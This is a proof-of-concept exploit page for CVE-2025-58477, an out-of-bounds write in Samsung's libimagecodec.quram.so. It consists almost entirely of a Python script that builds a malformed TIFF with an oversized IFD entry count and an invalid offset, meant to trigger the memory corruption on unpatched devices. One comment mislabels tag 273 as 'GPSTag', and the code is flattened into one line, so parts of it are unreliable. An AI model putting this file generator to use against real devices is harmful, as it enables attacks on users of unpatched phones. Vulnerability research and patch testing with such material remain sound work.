CVE-2025-58477 Samsung libimagecodec.quram.so IFD标签解析越界写入漏洞

# CVE-2025-58477 PoC - Malformed TIFF IFD Tag # This PoC generates a TIFF file with a malformed IFD tag to trigger OOB write import struct import os def create_poc_tiff(): """ Create a malformed TIFF file to trigger CVE-2025-58477 Out-of-bounds write in parsing IFD tag in libimagecodec.quram.so """ # TIFF Header # Byte order: Little Endian # Magic number: 0x002A (42) # IFD offset: 8 (first IFD right after header) tiff_header = struct.pack('<2sHI', b'II', 42, 8) # IFD entry count (2 entries) ifd_count = struct.pack('<H', 2) # IFD Entry 1: ImageWidth - Tag 256 # Type: LONG (4), Count: 1, Value: 100 # This entry is valid entry1_tag = struct.pack('<H', 256) # ImageWidth entry1_type = struct.pack('<H', 4) # LONG entry1_count = struct.pack('<I', 1) # Count entry1_value = struct.pack('<I', 100) # Value entry1 = entry1_tag + entry1_type + entry1_count + entry1_value # IFD Entry 2: Malformed entry with oversized count # This triggers OOB write in libimagecodec.quram.so entry2_tag = struct.pack('<H', 273) # GPSTag entry2_type = struct.pack('<H', 4) # LONG entry2_count = struct.pack('<I', 0xFFFFFFF) # Malformed - huge count entry2_value = struct.pack('<I', 0x1000) # Invalid offset entry2 = entry2_tag + entry2_type + entry2_count + entry2_value # Next IFD offset (0 = no next IFD) next_ifd = struct.pack('<I', 0) # Assemble TIFF file poc_tiff = tiff_header + ifd_count + entry1 + entry2 + next_ifd return poc_tiff def main(): output_file = "CVE-2025-58477_poc.tiff" poc_data = create_poc_tiff() with open(output_file, 'wb') as f: f.write(poc_data) print(f"[+] PoC TIFF file created: {output_file}") print(f"[+] File size: {len(poc_data)} bytes") print("[+] This file exploits CVE-2025-58477: OOB write in libimagecodec.quram.so") print("[+] Target: Samsung devices with libimagecodec.quram.so < SMR Dec-2025 Release 1") if __name__ == "__main__": main()